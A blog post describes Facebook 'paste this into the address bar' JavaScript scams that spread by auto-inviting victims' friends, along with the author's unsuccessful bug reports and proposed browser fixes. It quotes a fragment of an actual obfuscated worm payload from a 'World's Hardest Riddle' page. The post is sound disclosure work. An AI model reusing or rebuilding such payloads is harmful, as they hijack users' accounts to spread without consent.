"Sarah liked GIRLS ARE UNABLE TO STARE AT THIS FOR 10 SECONDS, BUT GUYS CAN on Facebook and suggested you like it too."
I get up to two invitations per week on facebook from friends to view some page that promises to show me something amazing/shocking/titillating. These are usually sent by friends who I doubt intended to send me these invitations, and inevitably they are links to facebook pages that tell me to paste some javascript code into the addressbar to view the advertised page. Of course if you do as you're told to do, then all your friends are automatically emailed an invitation to view the page -- without your knowledge.
A surprising number of people have been falling for this attack -- probably in the millions because facebook has 500M users and a good number of my own fb friends have fallen for this. Someday I'm sure I'll get an invitation from someone that they'll be very embarrassed about -- because it is something they never would have sent, but the fact I got it indicates that they opened the link themselves...
I'm having a very hard time getting browser vendors to take this combination of cross-site scripting (XSS) and social engineering seriously :( It's rather ridiculous that both the addressbar and the bookmarks bar (via bookmarklets) will happily execute Javascript code without warning the user or enforcing any sort of constraints on security context!
The WHATWG mailing list thread I started about this:
I filed bug reports for Chromium, but unfortunately the bug reports are security-related so you probably can't see them unless you're a Chromium developer: ; ;
UPDATE: Firefox has a related bug:
All bugs have been closed as WONTFIX, and the WHATWG mailing list (the only list that most of the browser vendors subscribe to, with the exception of MS of course) doesn't really want to fix this.
Here are my suggestions from the latest bug report for how to fix this:
When you install a .crx extension, you are warned about the security implications of doing so. However if you drag a "javascript:" bookmarklet to the bookmarks bar, you are not given a security warning -- however bookmarklets have access to the security context of whatever page is currently open when they are clicked. For that reason, the bookmarklets system is vulnerable to exploitation via social engineering, and literally millions of facebook friends lists have been hacked this way by self-propagating js viruses.
Also, having a user paste javascript: URLs into the address bar is already heavily exploited by facebook viruses to spread like wildfire by auto-sending themselves to all your fb friends.
Proposed solutions:
(1) The same warning should be given when dragging bookmarklets to the addressbar as is given when installing .crx extensions.
(2) Chrome's anti-phishing system should be used to check where bookmarklets have originated (if dragged/dropped), and sites like facebook.com should be blacklisted for javascript:* bookmarklets (*not* for javascript:* URLs that are clicked on, just for URLs dragged to the addressbar).
(3) Javascript that has no known origin (that is typed directly into the URL bar) should either be disabled by default (re-enablable via debug option, for the tiny 0.0001% of users that need this functionality), or at the very least and less preferably, the user should be given a security warning when hitting Enter after entering such a URL. There is no legitimate reason for the other 99.9999% of users to need to enter javascript URLs into the addressbar.
Given the success of these exploits so far on facebook, the use and nefariousness of them will likely only increase.
Here's an example of the sort of javascript employed -- e.g. this one is from a page entitled "World's Hardest Riddle" and has you type Ctrl-C, Alt-D, Ctrl-V and then Enter to reveal the riddle (i.e. to copy all this into the addressbar): anyone care to disentangle what this is doing?
javascript:(function(){a='app107450945963197_jop';b='app107450945963197_jode';
ifc='app107450945963197_ifc';ifo='app107450945963197_ifo';mw='app1074509459631
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(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(
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